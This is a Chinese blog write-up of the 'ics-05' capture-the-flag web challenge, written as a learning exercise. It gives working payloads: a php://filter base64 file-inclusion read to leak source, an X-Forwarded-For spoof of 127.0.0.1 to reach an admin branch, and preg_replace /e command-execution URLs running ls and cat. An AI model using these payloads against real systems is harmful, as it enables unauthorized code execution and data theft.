
【攻防世界】十七、【攻防世界】十七、ics-05

我是大肥鼠  于 2021-10-12 17:53:38 发布  1606  收藏 1
分类专栏： # 攻防世界WEB 文章标签： php html 文件包含 php伪协议 preg_replace函数
只能看不能摸哟！

本文链接：https://blog.csdn.net/weixin_45677145/article/details/120724759
版权

 攻防世界WEB 专栏收录该内容
18 篇文章 0 订阅
订阅专栏

步骤步骤

https://blog.csdn.net/weixin_45677145
https://blog.csdn.net/weixin_45677145/category_10754522.html
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=html&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2596%2587%25E4%25BB%25B6%25E5%258C%2585%25E5%2590%25AB&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=php%25E4%25BC%25AA%25E5%258D%258F%25E8%25AE%25AE&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=preg_replace%25E5%2587%25BD%25E6%2595%25B0&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/weixin_45677145/article/details/120724759
https://blog.csdn.net/weixin_45677145/category_10754522.html


打开题目场景，根据提示点击进入设备维护中心（其他页面也点不开）

发现页面也没什么可以点击的地方，乱点了几下发现云平台设备维护中心是可以点击的，虽然还是同一个页面，但是多了个get
参数：



而且参数的内容还会在页面之中显示，尝试看有没有xss，失败：

看来不是这方面的考题，尝试输入 index.php，发现返回Ok：

这里还没有看出来是啥，然后又尝试输入 index.html，这才恍然大悟这块有文件包含：



既然是文件包含我们就尝试来利用它，尝试使用伪协议 php://，它包含两个子协议，功能不同。

首先使用 php://input可以进行php代码的提交，发现不可行：

我们换一种方式继续尝试，使用 php://filter，它设计用来筛选文件，我们可以使用它来包含 index.php的文件，从而获取源

码。

直接包含发现会直接运行php文件，那我们怎么获得源码呢，很简单， include函数只会将php文件进行执行，我们只需要将传
进去的文件先进行base64编码再传给它，就会输出它的内容了，也就是源码：
payload： page=php://filter/read=convert.base64-encode/resource=index.php



得到源码之后进行base64解码，可以得到明文：

<?php

$page = $_GET[page];//拿到参数

if (isset($page)) {//如果存在

 if (ctype_alnum($page)) { //如果都为字母或者数字
 ?>
 
     <br /><br /><br /><br />
     <div style="text-align:center">
         <p class="lead"><?php echo $page; die();?></p>  //输出参数
         
     <br /><br /><br /><br />
 
 <?php
 
 }else{
 
 ?>
         <br /><br /><br /><br />
         <div style="text-align:center">
             <p class="lead">
                 <?php
 
                 if (strpos($page, 'input') > 0) {//input相当于禁用了
                     die();
                 }
 
                 if (strpos($page, 'ta:text') > 0) {
                     die();
                 }
 
                 if (strpos($page, 'text') > 0) {
                     die();
                 }
 
                 if ($page === 'index.php') {
                     die('Ok');//为什么返回Ok了



                     die('Ok');//为什么返回Ok了
                 }
                     include($page);//包含参数
                     die();
                 ?>
         </p>
         <br /><br /><br /><br />

<?php
}}
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//以上的代码都不重要，真正利用的在这块
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
//如果请求包中HTTP_X_FORWARDED_FOR为127.0.0.1
    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);//将subject中匹配pattern的部分用replacement替换
    }else{
        die();
    }

}

?>

ctype_alnum($text)函数会匹配传入参数中是否全为数字或者字母，如果是返回true，否则返回false。

strpos(string,find,start)  函数查找find在另一字符串string中第一次出现的位置（大小写敏感）。

string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换，如果启用/e参数
的话，就会将replacement当做php代码执行。

$pattern: 要搜索的模式，可以是字符串或一个字符串数组、正则。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。



/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码（在适当的逆向
引用替换完之后）。

提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

代码审计完毕之后，就可以进行利用了

首先构造http请求包：不要page参数，添加X-forwarded-For字段

接下来利用的是preg_replace函数/e漏洞：查看所有文件
payload： /index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc

发现可以进行命令执行，并且发现可疑目录，进入目录并查看文件

payload： /index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=asdsadasabc

%26为&，这里进行了url编码，不进行编码会失败



进入flag目录查看文件
payload： /index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=asdsadasabc

发现flag.php文件，使用cat进行查看：
payload： /index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=asdsadasabc

成功发现flag

总结总结

php文件包含中伪协议的使用
preg_replace()函数/e漏洞的利用
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